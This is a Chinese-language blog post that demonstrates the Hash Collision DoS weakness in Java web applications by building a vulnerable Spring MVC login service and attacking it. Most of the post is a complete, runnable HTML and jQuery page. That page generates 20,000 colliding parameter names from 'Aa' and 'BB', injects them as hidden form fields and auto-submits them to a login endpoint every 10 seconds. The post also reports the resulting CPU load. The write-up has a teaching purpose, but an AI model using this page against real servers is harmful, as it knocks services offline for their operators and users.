关于Hash Collision DoS漏洞:web实例

关于Hash Collision DoS漏洞:解析与解决方案
无意发现了这篇文章,觉得很有意思。
但是上面说的都是理论,感觉似懂非懂。
于是实践一把:做一个实例说明Hash Collision DoS漏洞是可行的。
因为大家都是java开发的,所以针对java web项目来做实例
构造一个有漏洞的服务程序
附件中有下载。
服务程序主要就是一个web project
添加spring 的MVC功能
然后提供一个登录的入口。

假如我们的web服务访问的地址是:http://192.168.1.20:8080/HashCollisionDoS
登录的入口是:http://192.168.1.20:8080/HashCollisionDoS/user/login
那么我们拥有访问登录入口的权限,我们才可以构造一大堆Hash Collision数据提交给漏洞服务器。


如何构造N多的Hash Collision数据
0(Aa)   1(BB)
-----------------
01          10
-----------------
0101 0110  1001 1010
-------------------------------------------
01010101 01010110  01011001 01011010 ...
.....................
..........................
得到N多0和1的组合,最后把0替换成Aa,把1替换成BB。
利用参数 var a =[0,1] 调用下面函数就可以得到我们想要的数据

	function combination(a)
{
	var res=[];
	 for(var i = 0; i < a.length; i++ )
	{
		var item=a[i];
		for(var j = 0; j < a.length; j++)
		{
			res.push(item+""+a[j]);
		}
	}
	return res;
}


如何提交请求到服务器
把下面的代码拷贝到本地,下载jquery-1.5.1.js并存放在同一目录
修改服务的IP地址。
最好使用火狐打开html,每隔10秒钟会自动提交一次数据。
代码如下

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="UTF-8">
<html>
	<head>
		<title>login</title>
		<script type="text/javascript"	src="jquery-1.5.1.js"></script>
		
		<script type="text/javascript">
	function combination(a)
{
	var res=[];
	 for(var i = 0; i < a.length; i++ )
	{
		var item=a[i];
		for(var j = 0; j < a.length; j++)
		{
			res.push(item+""+a[j]);
		}
	}
	return res;
}
	
	function submitreq()
{
	
	var a = [0, 1];
	var ret;
	var myform=document.forms[0];
	var action=myform.action;
	
	for(var i = 0; i < 4; i++ )
	{	
		a=combination(a);
	}
	//一次提交20000个参数,如果你的机器性能还可以改大点
	for(var j = 0; j < 20000; j++)
	{
		var temp=a[j];
		temp=temp.replace(/0/g,'Aa').replace(/1/g,'BB');
		//ret+=temp+"="+j+"&";
		$("#UName").after("<input type=\"hidden\" name=\""+temp+"\" value=\"\">"); 
	}
	//myform.action=action+"?"+ret;
	myform.submit();
}
//每10秒钟执行一次
window.setInterval("submitreq()", 10000);
	</script>
	</head>

	<body>
		<form action="http://192.168.1.20:8080/spring3/user/login" method="post">
			name:
			<input name="name" id="UName">
			<br />
			password:
			<input type="password" name="password">
			<br />
			<input type="button" value="login" onclick="submitreq()" />
		</form>
		
	</body>
</html>




测试结果
从下图可以看出:每次请求2W hash Collision 数据,CPU的使用率达到60%-80%,持续十几秒
假如并发多台机器请求,可以想象什么情况。
所以得出结论:Hash Collision DoS漏洞确实可行,而且可行性相当高,因为java应用无处不存在表单请求的情况,只要得到了任何一个后台表单的访问权限就可以使用Hash Collision DoS漏洞。


结果图
关于Hash Collision DoS漏洞:web实例_第1张图片

附件说明:
hash_dos_html.rar   html页面代码和jquery源码
HashCollisionDoS.rar  web project 源代码

你可能感兴趣的:(hash)